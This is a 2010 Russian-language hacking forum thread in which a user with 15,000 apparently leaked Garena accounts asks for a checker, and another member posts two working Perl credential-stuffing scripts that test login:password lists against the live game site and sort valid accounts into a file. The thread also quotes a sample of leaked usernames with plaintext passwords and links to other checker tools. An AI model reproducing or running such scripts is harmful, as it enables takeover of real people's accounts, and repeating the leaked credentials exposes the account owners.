Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Социальные сети (https://forum.antichat.xyz/forumdisplay.php?f=133)
-   -   Чекер ГГЦ (https://forum.antichat.xyz/showthread.php?t=180400)

nuBo 20.02.2010 15:08
Чекер аккаунтов Garena
 
есть ли такой софт (приват, паблик) ?
если нет, сколько стоит написать даже самый примитивный?
p.s. есть 15к акков нужно что-то с ними сделать :rolleyes:

Fepsis 20.02.2010 15:14
А что такое ГГЦ..?!

Kaimi 20.02.2010 15:15
Наверное garena

nuBo 20.02.2010 15:18
Garena RU Community

Fepsis 20.02.2010 15:25
Чекер на валид/не валид..?!

gidrogash2 20.02.2010 16:35
У меня есть и ещё 2 акка голд. + спамер есть ещё на гарену.

nuBo 20.02.2010 17:38
Цитата:
Сообщение от Fepsis
Чекер на валид/не валид..?!
да хотя бы такой...
gidrogash2 очень рад, за тебя :(

dr.Web 20.02.2010 19:33
стукни 6465777 посмотрим что там сделать можно.

Fepsis 20.02.2010 19:45
Под актив перл.. Исходные данные в файл base.txt в виде

Код:
логин:пасс
логин:пасс

Код:
#!/usr/bin/perl 


use LWP::UserAgent;
use HTTP::Cookies;
use HTTP::Request::Common;

$ua = LWP::UserAgent->new;
$cookie_jar = HTTP::Cookies->new();
$ua->cookie_jar($cookie_jar);


open(BASE, 'base.txt');
chomp(@base = <BASE>);
close(BASE);


sub logg
  {
        my ($data, $file) = @_;
        open(OUT, ">> ".$file);
        print OUT "$data\n";
        close(OUT);
  }



sub check
  {
        my ($auth_data) = @_;
        $cookie_jar->clear();
        $auth_data =~ /^(.+?)\:(.+?)$/g;
        my $login = $1;
        my $pass = $2;

        print $auth_data;
        my $ex = $ua->request(POST 'http://garena-game.ru/index.php', [login_name => $login, login_password => $pass, login => submit]);
        if($cookie_jar->as_string =~/dle_password=/)
          {
                print " : GOOD\n";
                logg("$login:$pass", "good.txt");
          }

        else
          {
                print " : BAD\n";
                logg("$login:$pass", "bad.txt");
          }

  }


foreach (@base)
  {
        check($_);
  }

nuBo 20.02.2010 19:48
оп, Fepsis спасибо огромное, теперь еще подскажи как быть если акки в таком виде... :rolleyes: :rolleyes: :rolleyes:
Цитата:
3316619;brownsugar1988;letmein [ EXP: 20 ] [ LOC: NZ ]
3317402;panda01;1234 [ EXP: 539 ] [ LOC: PH ]
3315790;GG_MoHaX;qwerty [ EXP: 629 ] [ LOC: RU ]
3317282;OmgOo;123456789 [ EXP: 1455 ] [ LOC: EG ]
3317139;komodoro;123456 [ EXP: 15 ] [ LOC: TH ]

Fepsis 20.02.2010 19:58
Цитата:
Сообщение от nuBo
оп, Fepsis спасибо огромное, теперь еще подскажи как быть если акки в таком виде... :rolleyes: :rolleyes: :rolleyes:
Попробуй так:
Код:
#!/usr/bin/perl 


use LWP::UserAgent;
use HTTP::Cookies;
use HTTP::Request::Common;

$ua = LWP::UserAgent->new;
$cookie_jar = HTTP::Cookies->new();
$ua->cookie_jar($cookie_jar);


open(BASE, 'base.txt');
chomp(@base = <BASE>);
close(BASE);


sub logg
  {
        my ($data, $file) = @_;
        open(OUT, ">> ".$file);
        print OUT "$data\n";
        close(OUT);
  }



sub check
  {
        my ($auth_data) = @_;
        $cookie_jar->clear();
        $auth_data =~ /\;(.+?)\;(.+?) \[/g;
        my $login = $1;
        my $pass = $2;

        print "$login:$pass";
        my $ex = $ua->request(POST 'http://garena-game.ru/index.php', [login_name => $login, login_password => $pass, login => submit]);
        if($cookie_jar->as_string =~/dle_password=/)
          {
                print " : GOOD\n";
                logg("$login:$pass", "good.txt");
          }

        else
          {
                print " : BAD\n";
                logg("$login:$pass", "bad.txt");
          }

  }


foreach (@base)
  {
        check($_);
  }

dr.Web 20.02.2010 20:28
работает?

Soldier 20.02.2010 23:20
nuBo, это случайно не те 15К акков, которые в ПВМ-приватах выложены?

:)

nuBo 20.02.2010 23:29
Цитата:
Сообщение от Soldier
nuBo, это случайно не те 15К акков, которые в ПВМ-приватах выложены?

:)
что такое ПВМ-приват ? :rolleyes:
не знаю, просто хочу прочекать а там уже придумаю что с ними сделать :)

nuBo 21.02.2010 15:29
Цитата:
Сообщение от Fepsis
Под актив перл...
дополнительные пакеты не нужны?
ActivePerl 5.10.1 все акки кидает в не валид...

Fepsis 21.02.2010 15:55
Цитата:
Сообщение от nuBo
дополнительные пакеты не нужны?
ActivePerl 5.10.1 все акки кидает в не валид...
Нет, не нужны.. А ты уверен, что там есть валид вообще...?! Я тестил на 2-х валидных акках.. Из пары сотен акков он их определял нормально...

Скинь мне в личку с десяток акков в таком виде, в котором они у тебя.. И чтобы среди них было несколько валидных.. Проверю, может неправильно мой скрипт логин и пасс выдирает...

1n0y 22.02.2010 01:08
Цитата:
Сообщение от nuBo
оп, Fepsis спасибо огромное, теперь еще подскажи как быть если акки в таком виде... :rolleyes: :rolleyes: :rolleyes:
о, спасибо чувак :) я то ломал голову, что это за акки такие ((:

nuBo 22.02.2010 01:57
нашел чекер, но те акки что выше явно не с него у него другой вид логов...
Сам чекер:
Чекер акков гарены
http://s39.radikal.ru/i084/1001/a2/0f8396e09f86.png
- Пароли не проверяет! - "не догоняю этого пункта ?"
- Не банится
- Работает быстро.
- Выдает информацию по списку акков или по отдельному акку
- Предусмотрены прокси - на всякий случай)
- Можно задавать файлы со списком вида:
Цитата:
nick:pass
nick;pass
nick
- пароль будет выведен в отдельную строку

Continue from step - продолжить с определенной строки в файле
Min level to write - будет выводить аккаунты с уровнем не ниже указанного
AutoSave to file - сразу сохраняет аккаунты в указанный файл
Save to file - сохраняет содержимое текстового поля в указанный файл (если файл не пустой информация будет дописана)

Скачать:
Прямой Линк
Депозит

1n0y 22.02.2010 02:45
Цитата:
Сообщение от nuBo
нашел чекер, но те акки что выше явно не с него у него другой вид логов...
спасибо :)
накатал прогу, удаляющую всё лишнее из логов неизвестного чекера и приводящую список к виду login;pass
http://slil.ru/28686777
если надо - юзайте :)


Время: 03:15